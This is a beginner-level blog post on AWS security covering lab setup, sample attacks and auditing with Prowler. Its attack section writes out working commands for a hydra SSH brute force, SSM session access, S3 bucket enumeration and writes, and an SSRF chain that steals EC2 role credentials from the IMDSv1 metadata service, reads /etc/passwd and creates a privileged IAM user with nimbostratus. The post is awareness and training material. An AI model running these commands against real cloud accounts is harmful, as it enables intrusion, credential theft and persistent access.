
Getting Started with AWS Security: Attacking and Auditing

Continuing on the topic of Cloud Security, this post will cover AWS Security basics holistically, focusing on attacking and auditing an AWS environment with sample open-source tools.
This is not a step-by-step guide but a beginner-friendly overview, including learning resources at the end to help you continue exploring. You'll also find links to upcoming AWS-hosted workshops to upskill and network with like-minded professionals.
As of January 2025, the average base salary for skills in Amazon Web Services in Portugal is €40k/year.
Based on recent AWS security-themed job postings, the top five in-demand skills are:
- Identity and Access Management (IAM): Managing AWS IAM policies, roles, and permissions to control resource access.
- Data Protection: Experience with AWS encryption services like AWS Key Management Service (KMS) and implementing data protection strategies.
- Incident Response: Ability to detect, manage, and respond to security incidents using services such as CloudTrail and GuardDuty.
- Compliance and Governance: Knowledge of AWS compliance programs and frameworks and the ability to implement governance policies using services as Config and Organizations.
- Automation Skills: Automating security tasks with services like EventBridge, CloudFormation and Lambda, as well as scripting languages such as Python.
To get started with these listed AWS services above, one of the fastest and most hands-on approaches is to check out AWS Workshops, filter for a specific service or skill, and start building.
Lab Setup:
In this post I’ll showcase a few sample attacks and one way to audit your AWS environment using an open-source tool.
This is not a comprehensive walkthrough but an overview to raise awareness of potential attack paths and showcase tools like Prowler, which supports auditing Kubernetes and multiple public cloud environments.
To set up an AWS lab with temporary infrastructure, you can use an environment of your choice or refer to the following resources of my choice :) :
- Infosec Skills Cloud Pentesting Project [7-day trial available]
- INE AWSGoat intentionally vulnerable AWS project
If you opt for AWSGoat, you might have to implement this fix with AdministratorAccess to avoid issues with module-2 deployment.
Note, both of these require creating a long-term AccessKeyId (starting with AKIA) while practicing.
In a real-world scenario, defenders should stay updated on the latest best practices for programmatic access using AWS security credentials.
Image01: AWSGoat installation detail:

If creating a lab from scratch, you’ll need:
- A VM like Kali Linux with AWS CLI, Git, Docker Engine with docker compose, and Terraform installed.
- An AWS account:
Sign up at https://portal.aws.amazon.com, secure your root account with MFA, then create an IAM user for lab work.
Attacks:
1. Exploiting EC2 [Elastic Compute Cloud] Remote Access - SSH:
One of the first things to be aware of is that an attacker may attempt to find and scan your EC2’s target IP for open ports and services, make an educated guess for the username, and try a dictionary attack to gain access:
sudo nmap -sV -p- $TARGET_IP #found open port 2222 for ssh hydra -f -v -V -t4 -s 2222 -l ubuntu -P ~/wordlists/custom.txt $TARGET_IP ssh #simple password found! #see ACCT.06 Enforce a password policy: https://docs.aws.amazon.com/prescriptive-guidance/latest/aws-startup-security-baseline/acct-06.html ssh -p 2222 ubuntu@$TARGET_IP #attacker gains access to the internal AWS environment
Image02: nmap hydra ssh detail:

2. Exploiting EC2 Remote Access - SSM [formerly known as: Simple, Systems Manager]:
From there, an attacker might try to scan the CIDR range and obtain access to an existing SSM instance even with all ports closed, so follow security best practices for Systems Manager.
aws ec2 describe-instances --filter "Name=private-ip-address,Values=10.0.1.34" --query 'Reservations[*].Instances[*].InstanceId' --output text aws ssm start-session --target i-083c7154fdf3f65e8
Image03: SSM Access detail:

3. Anonymous S3 [Simple Storage Service] Exploitation:
An attacker might try to find your company's public S3 buckets to dig out accidentally stored sensitive data or abuse bucket's ACL policy to write data of their choice, by manually searching:
"s3.amazonaws.com" -site:.amazonaws.com -site:*.amazon.com site:ncaa.org
Tools like bucketfinder and AWSBucketDump can speed up this enumeration process.
aws s3api get-bucket-acl --bucket bucket-name-here aws s3 cp /path/to/local/file.txt s3://bucket-name-here aws s3 ls s3://bucket-name-here | grep 'file.txt'
4. EC2 SSRF [Server-side request forgery] - Metadata Abuse:
If metadata v1 service (IMDSv1) is enabled, an attacker might try to get access to the instance's IAM role credentials, to steal data or create a new user, for example:
curl -i http://vulnerable.example.com/index.html #--> [200 OK;] knowledge obtained prior with reconnaissance: ec2 with metadata v1 service enabled curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/meta-data/iam/info #curl -H 'Host: 169.254.169.254' http://vulnerable.example.com/latest/meta-data/iam/info; echo #--> role: ec2access-target curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/user-data #--> User Data - commands executed as soon as the instance is launched; could contain sensitive info as credentials #curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/meta-data/public-ipv4 #curl --proxy vulnerable.example.com:80 file:///etc/passwd curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2access-target | create-aws-creds --profile capitalbank | tee -a ~/.aws/credentials #--> AccessKeyId (AccessKeyId begins with ASIA), SecretAccessKey, Token nimbostratus dump-permissions --access-key=AccessKeyId --secret-key=SecretAccessKey --token=Token #--> https://andresriancho.github.io/nimbostratus/ #--> checks IAM Role privileges aws --profile capitalbank s3 ls aws --profile capitalbank s3 ls interesting-bucket-name #--> attacker steals data nimbostratus create-iam-user --access-key=AccessKeyId --secret-key=SecretAccessKey --token=Token #--> attacker creates new high privileged user "$NIMBOSTRATUS_USER" whose AccessKeyId begins with AKIA #aws --profile capitalbank iam list-user-policies --user-name "$NIMBOSTRATUS_USER" --query 'PolicyNames[*]' --output text
Image04: Nimbostratus detail:

From a defender's point of view it's currently advised to switch to IMDSv2 (token required), so verify current metadata settings and modify accordingly.
[Image05: Switch to IMDSv2 detail:

Audit:
1a. CLI-based auditing:
Install and run Prowler from AWS CloudShell:
- See Prowler CLI documentation for AWS CloudShell installation.
- Download full report files and review.
Image06: Prowler CLI detail:

In the table here you can find Prowler's syntax for available Azure services, frameworks and categories.
Also, see Tutorials Docs for a list of available compliance frameworks.
1b. GUI-based auditing:
I installed Prowler App on Kali Linux 2024.4, as detailed in my previous post.
Access at http://localhost:3000, then sign up locally, sign in, configure the scanner, trigger a scan, and review the results:
Image07: Prowler App detail:
